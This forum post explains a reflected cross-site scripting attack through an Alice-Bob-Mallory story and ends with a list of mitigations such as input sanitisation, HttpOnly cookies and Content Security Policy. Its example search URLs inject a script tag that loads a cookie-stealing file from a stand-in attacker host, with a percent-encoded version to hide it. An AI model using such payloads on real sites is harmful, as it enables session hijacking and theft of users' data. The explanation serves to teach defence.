Jump to content
Invision Community
FORUMS BLOG/NEWS USER BLOGS USER MEDIA ADVERTS   ADD  MANAGE CHAT CLUBS & USER PERSONAL FORUMS LINK EXCHANGE
ANTIVIRUS & SPAM Antivirus Anti Spam Anti Spyware Free Virus Scanner Antivirus Comparison Antivirus for Android Antivirus for Mac Anti Spam for Android Anti Spyware for Android
Sign in to follow this  
davidtrump

​​​​​​​Exploit examples - Non-persistent

Recommended Posts

Exploit examples
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.

Non-persistent
Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) have a record that she's logged in.
Mallory observes that Bob's website contains a reflected XSS vulnerability:
When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org/search?q=her search term.
With a normal search query, like the word "puppies", the page simply displays "puppies not found" and the url is "http://bobssite.org/search?q=puppies" - which is perfectly normal behavior.
However, when she submits an abnormal search query, like "<script type='application/javascript'>alert('xss');</script>",
An alert box appears (that says "xss").
The page displays " not found," along with an error message with the text 'xss'.
The url is "http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script> - which is exploitable behavior.
Mallory crafts a URL to exploit the vulnerability:
She makes the URL http://bobssite.org/search?q=puppies<script src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies<script%20src%3D"http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js"><%2Fscript>, so that human readers cannot immediately decipher the malicious URL.
She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.

Several things could have been done to mitigate this attack:

The search input could have been sanitized which would include proper encoding checking.
The web server could be set to redirect invalid requests.
The web server could detect a simultaneous login and invalidate the sessions.
The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
The website could display only the last few digits of a previously used credit card.
The website could require users to enter their passwords again before changing their registration information.
The website could enact various aspects of the Content Security Policy.
Users could be educated to not click "benign-looking", but malicious, links.
Set cookie with HttpOnly flag to prevent access from JavaScript

Share this post


Link to post
Share on other sites
MALWARE & PROVIDER Anti Malware Hosting Shared Hosting Windows Hosting VOIP Phone Register Domain Website Builder Dedicated Server Fiber Optics Provider

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...